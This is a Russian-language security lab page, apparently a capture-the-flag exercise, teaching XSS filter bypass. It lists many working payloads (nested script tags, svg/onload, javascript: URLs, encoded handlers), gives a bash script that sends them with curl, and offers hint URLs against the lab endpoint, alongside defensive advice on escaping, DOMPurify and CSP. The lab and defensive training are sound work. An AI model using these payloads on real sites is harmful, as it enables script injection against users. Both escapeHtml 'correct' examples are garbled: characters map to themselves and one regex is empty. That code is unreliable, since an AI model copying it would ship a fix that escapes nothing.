Rostelecom Security Labs

XSS-04: Filter Bypass

API с базовым XSS-фильтром. Учимся обходить через encoding, nested tags и альтернативные векторы.

📚 Теория: XSS Filter Bypass (кликните чтобы развернуть)

1️⃣ Что такое XSS Filter Bypass?

Простыми словами для разработчика:
Вы пытаетесь защититься от XSS через blacklist-фильтр (блокируете слова "script", "onerror", "alert"). Но злоумышленники знают десятки способов обойти такие фильтры — и ваше приложение остаётся уязвимым.

⚠️ Главная ошибка разработчика:

"Я заблокировал <script> — теперь безопасно!"
Реальность: Есть сотни других векторов атак, которые не содержат слово "script"

Где встречается:

  • 🛡️ Самописные XSS фильтры (90% легко обходятся)
  • 📝 WAF с blacklist правилами
  • 🔍 Input валидация через regex
  • 🚫 Strip tags функции без whitelist

OWASP: A03:2021 - Injection (неправильная защита)
Статистика: 70% самописных XSS фильтров обходятся (PortSwigger Research 2022)

2️⃣ Как работают плохие фильтры (CODE WALKTHROUGH)

❌ Типичный blacklist фильтр

// xss-filter.js
function filterXSS(input) {
  let clean = input;
  
  // ❌ ПРОБЛЕМА #1: Удаляем только эти слова
  clean = clean.replace(/script/gi, '');      // Ищем "script"
  clean = clean.replace(/onerror/gi, '');     // Ищем "onerror"
  clean = clean.replace(/onclick/gi, '');     // Ищем "onclick"  
  clean = clean.replace(/alert/gi, '');       // Ищем "alert"
  
  return clean;  // Думаем что безопасно
}

app.get('/search', (req, res) => {
  const query = req.query.q;
  const filtered = filterXSS(query);  // "Защита"
  
  res.send(\`<p>Результат: \${filtered}</p>\`);
});

Почему это НЕ работает?

🎯
Техника #1: Nested tags
// Payload: <scr<script>ipt>alert(1)</script>

// После replace(/script/gi, ''):
// <scr█████ipt>alert(1)</script>  (удалили "script")
// <script>alert(1)</script>  ← Осталось!

💡 Фильтр удаляет, а не блокирует → создаёт новый тег

⬇️
🔄
Техника #2: Альтернативные теги
// Фильтр блокирует: script, onerror, onclick, alert
// НЕ блокирует: svg, iframe, body, img, onload, confirm

✅ <svg/onload=confirm(1)>
✅ <body onload=confirm(1)>  
✅ <iframe src=javascript:confirm(1)>
✅ <input onfocus=confirm(1) autofocus>

💡 Десятки HTML тегов и событий — не заблокируешь все!

⬇️
🔤
Техника #3: Encoding
// HTML entities
<img src=x on\&#101;rror=alert(1)>  // \&#101; = 'e'

// Hex encoding  
<img src=x on\x65rror=alert(1)>

// Unicode
<img src=x on\u0065rror=alert(1)>

💡 Браузер декодирует, фильтр — нет

3️⃣ Почему Blacklist НЕ работает

🔢

Бесконечные варианты

Существует 100+ HTML тегов и 150+ событий которые могут выполнить JS

<svg> <iframe> <object> <embed>
<video> <audio> <canvas> <form>
onload onmouseover onfocus onblur
oninput onchange onsubmit...
🔁

Double encoding

// Фильтр удаляет один раз
<scr<script>ipt>
     ↓ удалили "script"
<script> ← восстановилось!

// Можно вложить несколько раз
<scr<scr<script>ipt>ipt>
🎭

Case manipulation

// Если нет флага /i:
<ScRiPt>alert(1)</sCrIpT>
<SCRIPT>alert(1)</SCRIPT>

// Смешанный case
<ScRiPt>ALeRt(1)</sCriPT>
🌐

Browser quirks

// NULL byte (старые браузеры)
<script\x00>

// Комментарии в тегах
<scr<!---->ipt>

// Whitespace
< script >

4️⃣ Как ПРАВИЛЬНО защититься

❌ НЕПРАВИЛЬНО: Blacklist (легко обойти)

function badFilter(input) {
  // ❌ Блокируем только известные векторы
  input = input.replace(/script/gi, '');
  input = input.replace(/onerror/gi, '');
  input = input.replace(/onclick/gi, '');
  input = input.replace(/alert/gi, '');
  input = input.replace(/eval/gi, '');
  
  return input;  // Ложное чувство безопасности
}

// Обходится через: <svg/onload=confirm(1)>

✅ ПРАВИЛЬНО #1: Whitelist + Экранирование

function escapeHtml(text) {
  // ✅ Экранируем ВСЕ спецсимволы
  return text
    .replace(/&/g, '&')
    .replace(//g, '>')    // > → >
    .replace(/"/g, '"')
    .replace(/'/g, ''');
}

app.get('/search', (req, res) => {
  const safe = escapeHtml(req.query.q);
  res.send(\`<p>\${safe}</p>\`);
});

// ✅ Любой XSS payload станет текстом!

✅ ПРАВИЛЬНО #2: DOMPurify (для rich text)

const DOMPurify = require('isomorphic-dompurify');

app.post('/api/comments', (req, res) => {
  // ✅ Whitelist только безопасные теги
  const clean = DOMPurify.sanitize(req.body.text, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
    ALLOWED_ATTR: ['href'],
    ALLOWED_URI_REGEXP: /^https?:\/\//  // Только http/https
  });
  
  db.save(clean);  // Сохраняем санитизированное
});

✅ ПРАВИЛЬНО #3: Content Security Policy

app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy',
    "default-src 'self'; " +
    "script-src 'self'; " +           // Только свои скрипты
    "object-src 'none'; " +            // Блок Flash/Java
    "base-uri 'self'; " +              // Защита от base injection
    "form-action 'self'"               // Формы только на свой домен
  );
  next();
});

// ✅ Даже если XSS пройдёт — inline script не выполнится!
1
НИКОГДА не используйте blacklist

❌ Блокировка keywords = бесполезно
✅ Используйте whitelist или экранирование
✅ Для rich text: DOMPurify с ALLOWED_TAGS

2
Defense in Depth (несколько уровней)
1. Input validation (whitelist формат)
2. HTML escaping (перед выводом)
3. CSP headers (блокировка inline)
4. HttpOnly cookies (защита от кражи)
3
Используйте проверенные библиотеки

Node.js:
• DOMPurify (санитизация HTML)
• validator.js (валидация + escape)
• helmet.js (security headers)

Не пишите свои фильтры с нуля!

4
Тестируйте bypass техники
// Список для manual testing:
1. Nested tags
2. Alternative events  
3. Encoding (HTML entities, Unicode)
4. Case manipulation
5. Protocol handlers (javascript:)

📊 Blacklist vs Whitelist

Подход Blacklist (плохо) Whitelist (хорошо)
Логика Блокируем опасное Разрешаем безопасное
Пример Блокируем "script", "onerror" Разрешаем только [a-zA-Z0-9]
Bypass Легко (100+ способов) Сложно/Невозможно
Maintenance Бесконечная гонка Один раз настроил
Итог ❌ Не работает ✅ Надёжно

3️⃣ Техники обхода (что должен знать разработчик)

🔁

Nested Tags

// Фильтр: replace(/script/gi, '')
Payload: <scr<script>ipt>alert(1)</script>
         ↓ удалили "script"
Result:  <script>alert(1)</script> ✅
🏷️

Alternative Tags

// Заблокирован только <script>
✅ <svg/onload=alert(1)>
✅ <iframe src=javascript:alert(1)>
✅ <img src=x onerror=alert(1)>
✅ <body onload=alert(1)>
🔡

Case Mixing

// Если нет флага /i:
✅ <ScRiPt>alert(1)</sCrIpT>
✅ <SCRIPT>alert(1)</SCRIPT>

// Смешанный:
✅ <iMg src=x OnErRoR=alert(1)>
📐

Alternative Functions

// Заблокирован alert()
✅ confirm(1)
✅ prompt(1)  
✅ console.log(1)
✅ (()=>alert(1))()
✅ window['ale'+'rt'](1)

5️⃣ Как тестировать фильтры

Bypass Testing Checklist

# 1. Nested tags
input=<scr<script>ipt>confirm(1)</script>

# 2. Alternative tags  
input=<svg/onload=confirm(1)>
input=<body onload=confirm(1)>
input=<iframe src=javascript:confirm(1)>

# 3. Alternative events
input=<img src=x onerror=confirm(1)>
input=<input onfocus=confirm(1) autofocus>

# 4. Alternative functions
input=<script>confirm(1)</script>  # вместо alert
input=<script>prompt(1)</script>

# 5. Case mixing (если нет /i)
input=<ScRiPt>alert(1)</ScRiPt>

# 6. Encoding
input=<img src=x on\&#101;rror=alert(1)>

Автоматизация через скрипт

#!/bin/bash
# test-xss-filter.sh

PAYLOADS=(
  "<script>alert(1)</script>"
  "<scr<script>ipt>alert(1)</script>"  
  "<svg/onload=confirm(1)>"
  "<body onload=confirm(1)>"
  "<img src=x onerror=confirm(1)>"
)

for payload in "\${PAYLOADS[@]}"; do
  echo "Testing: $payload"
  
  response=$(curl -s "https://site.com/filter?input=$payload")
  
  if echo "$response" | grep -q "<script\|onerror\|onload"; then
    echo "❌ BYPASS SUCCESSFUL: $payload"
  else
    echo "✅ Blocked"
  fi
done

6️⃣ Best Practices

✅ DO (Делайте)

  • Используйте экранирование вместо фильтров
  • Для rich text: DOMPurify с whitelist
  • Включите CSP заголовки
  • Используйте template engines с auto-escaping
  • Тестируйте все известные bypass техники
  • Используйте SAST для детекции blacklist

❌ DON'T (Не делайте)

  • НЕ пишите свои XSS фильтры
  • НЕ используйте blacklist подход
  • НЕ удаляйте опасные слова (nested bypass)
  • НЕ полагайтесь только на regex
  • НЕ забывайте про encoding
  • НЕ думайте что один фильтр = безопасность

Правильная архитектура защиты:

┌─────────────────────────────────────┐
│ 1. Input Validation (whitelist)    │ ← Разрешаем только безопасный формат
├─────────────────────────────────────┤
│ 2. HTML Escaping (при выводе)      │ ← Экранируем спецсимволы
├─────────────────────────────────────┤
│ 3. Content Security Policy         │ ← Блокируем inline scripts
├─────────────────────────────────────┤
│ 4. HttpOnly Cookies                │ ← Защищаем от кражи
└─────────────────────────────────────┘

// ✅ Defense in Depth = несколько слоёв защиты

7️⃣ Практические задания

📝 Задание 1: Bypass фильтр

  • ✅ Изучи логику фильтра в /api/xss/filter
  • ✅ Попробуй 5 разных bypass техник
  • ✅ Найди работающий payload
  • ✅ Сними флаг из ответа сервиса (вернётся строка формата FLAG{...})

🔍 Задание 2: Audit свой проект

  • Найди все места где фильтруется user input
  • Проверь: используется blacklist или whitelist?
  • Протестируй каждый фильтр bypass техниками
  • Создай список уязвимых мест

🛠️ Задание 3: Переписать на whitelist

  • Замени blacklist фильтр на escapeHtml()
  • Или используй DOMPurify с ALLOWED_TAGS
  • Проверь что ВСЕ bypass техники не работают
  • Напиши unit tests для каждой техники

🔬 Задание 4: SAST правило

  • Напиши Semgrep правило которое находит blacklist фильтры
  • Детектируй паттерн: replace(/script/gi, '')
  • Добавь в CI pipeline
  • Создай policy: "запрещено использовать blacklist"

🎯 Что вы изучили:

  • 🚫 Почему blacklist НЕ работает (бесконечные bypass)
  • 🎯 Техники обхода: nested, alternative, encoding
  • Правильная защита: whitelist, escaping, CSP
  • 🧪 Тестирование: bypass checklist, автоматизация
  • 📚 Best practices: используй библиотеки, не изобретай велосипед
  • 🔍 Code review: находить blacklist паттерны в коде

Техники обхода (было удалено):

// 1. Nested tags (если фильтр удаляет, а не блокирует)
<scr<script>ipt>alert(1)</script>

// 2. Альтернативные события
<svg/onload=alert(1)>       // onerror заблокирован
<body onload=alert(1)>      // onclick заблокирован

// 3. Замена функций
confirm(1)  // вместо alert()
prompt(1)

// 4. JavaScript URL scheme
<iframe src=javascript:alert(1)>

// 5. Encoding (если фильтр не декодирует)
<img src=x on\x65rror=alert(1)>  // \x65 = 'e'

Фильтр в этой лабе:

// ❌ СЛАБЫЙ ФИЛЬТР
filtered = filtered.replace(/script/gi, '');
filtered = filtered.replace(/onerror/gi, '');
filtered = filtered.replace(/onclick/gi, '');
filtered = filtered.replace(/alert/gi, '');

Правильная защита:

// ✅ Whitelist + экранирование
function escapeHtml(text) {
  return text.replace(/[&<>"']/g, (m) => ({
    '&': '&', '<': '<', '>': '>',
    '"': '"', "'": '''
  })[m]);
}

// ✅ Content Security Policy
res.setHeader('Content-Security-Policy',
  "default-src 'self'; script-src 'none'");

Подсказки

Техника 1: Nested tags
https://rtlabs.su/api/xss/filter?input=<scr<script>ipt>confirm(1)</script>
Техника 2: Альтернативные теги
https://rtlabs.su/api/xss/filter?input=<svg/onload=confirm(1)>
https://rtlabs.su/api/xss/filter?input=<body onload=confirm(1)>
Техника 3: Замена alert
https://rtlabs.su/api/xss/filter?input=<img src=x onerror=confirm(1)>

💡 Используйте confirm() вместо alert()

🏆 Флаг появится в ответе сервиса, когда payload обойдёт фильтр. Он имеет формат FLAG{...}.

Проверка флага